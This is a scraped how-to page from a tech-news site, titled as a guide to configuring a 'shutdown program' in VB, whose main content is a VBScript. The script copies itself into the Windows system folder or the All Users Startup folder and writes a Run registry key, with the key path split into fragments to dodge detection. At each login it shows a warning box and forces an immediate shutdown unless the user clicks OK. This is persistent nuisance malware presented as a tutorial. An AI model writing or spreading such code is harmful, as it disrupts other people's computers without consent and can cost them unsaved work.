Network Security Internet Technology Development Database Servers Mobile Phone Android Software Apple Software Computer Software News IT Information

In addition to Weibo, there is also WeChat

Please pay attention

WeChat public account

Shulou

How to configure the shutdown program under vb

2025-04-06 Update From: SLTechnology News&Howtos shulou NAV: SLTechnology News&Howtos > Development >

Share

Shulou(Shulou.com)06/03 Report--

This article introduces the knowledge of "how to configure the shutdown program under vb". In the operation of actual cases, many people will encounter such a dilemma, so let the editor lead you to learn how to deal with these situations. I hope you can read it carefully and be able to achieve something!

The copy code is as follows:

Dim fs, dirwin, c,Wll, str,strr,r

Set fs = CreateObject ("Scripting.FileSystemObject")

Set dirwin = fs.GetSpecialFolder (1)

Set Wll = WScript.CreateObject ("WScript.Shell")

Set c = fs.GetFile (WScript.ScriptFullName)

Str = "HK" & "LM\ SOFT" & "WARE\ Micr" & "osoft\ Win" & "dows\ Curren" & "tVersion\ R" & "un\ wxb"

If (fs.FileExists (dirwin& "\ wxb.vbs") Then

Call Show_And_Do ("reg")

Elseif (fs.FileExists ("C:\ Documents and Settings\ All Users\ Start Menu\ Programs\ Startup\ wxb.vbs") Then

Call Show_And_Do ("Startup")

Else

On Error Resume Next

Strr= ""

Wll.RegWrite str, "C:\ WINDOWS\ system32\ wxb.vbs", "REG_SZ"

Strr=Wll.Regread (str)

If strr= "" then

C.Copy ("C:\ Documents and Settings\ All Users\ Start Menu\ Programs\ Startup\ wxb.vbs")

Else

C.Copy (dirwin& "\ wxb.vbs")

End if

End if

Sub Show_And_Do (s)

Dim f

R = MsgBox ("warning: please don't touch my computer!" & Chr (13) & Chr (10) & "be sure-> I'll ask for permission next time" & Chr (10) & "cancel-> whatever you like, I don't care about him", 4145, "MsgBox Example")

If r = 1 Then

If s = "Startup" then

Set f = fs.GetFile ("C:\ Documents and Settings\ All Users\ Start Menu\ Programs\ Startup\ wxb.vbs")

F.Delete ()

Elseif s = "reg" then

Wll.RegDelete str

Set f = fs.GetFile (dirwin& "\ wxb.vbs")

F.Delete ()

End if

Else

Wll.run "Shutdown.exe-s-f-t 0"

End If

End sub

This is the end of the content of "how to configure the shutdown program under vb". Thank you for reading. If you want to know more about the industry, you can follow the website, the editor will output more high-quality practical articles for you!

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.

Views: 0

*The comments in the above article only represent the author's personal views and do not represent the views and positions of this website. If you have more insights, please feel free to contribute and share.

Share To

Development

Wechat

© 2024 shulou.com SLNews company. All rights reserved.

12
Report